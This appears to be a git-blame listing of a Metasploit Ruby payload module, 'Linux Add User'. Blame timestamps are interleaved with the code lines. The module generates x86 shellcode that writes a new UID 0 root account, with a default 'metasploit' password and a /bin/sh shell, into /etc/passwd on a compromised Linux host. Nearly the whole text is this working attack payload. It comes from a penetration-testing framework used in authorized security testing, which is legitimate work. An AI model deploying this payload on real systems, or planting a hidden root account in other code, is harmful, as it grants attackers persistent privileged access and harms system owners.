2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-07-17 06:01:11 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# AddUser
|
|
|
|
# -------
|
|
|
|
#
|
|
|
|
# Adds a UID 0 user to /etc/passwd.
|
|
|
|
#
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2005-07-17 06:01:11 +00:00
|
|
|
|
2015-03-12 07:30:06 +00:00
|
|
|
CachedSize = 97
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Linux
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Linux Add User',
|
|
|
|
'Description' => 'Create a new user with UID 0',
|
|
|
|
'Author' => [ 'skape', 'vlad902', 'spoonm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Privileged' => true))
|
|
|
|
|
|
|
|
# Register adduser options
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
|
|
|
|
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
|
|
|
|
OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Dynamically builds the adduser payload based on the user's options.
|
|
|
|
#
|
|
|
|
def generate_stage
|
|
|
|
user = datastore['USER'] || 'metasploit'
|
|
|
|
pass = datastore['PASS'] || 'metasploit'
|
|
|
|
shell = datastore['SHELL'] || '/bin/sh'
|
|
|
|
str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
|
|
|
|
payload =
|
|
|
|
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58" +
|
|
|
|
"\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70" +
|
|
|
|
"\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd" +
|
|
|
|
"\x80\x93" + Rex::Arch::X86.call(str.length) + str +
|
|
|
|
"\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58" +
|
|
|
|
"\xcd\x80"
|
|
|
|
end
|
2005-07-17 06:01:11 +00:00
|
|
|
|
2012-03-18 05:07:27 +00:00
|
|
|
end
|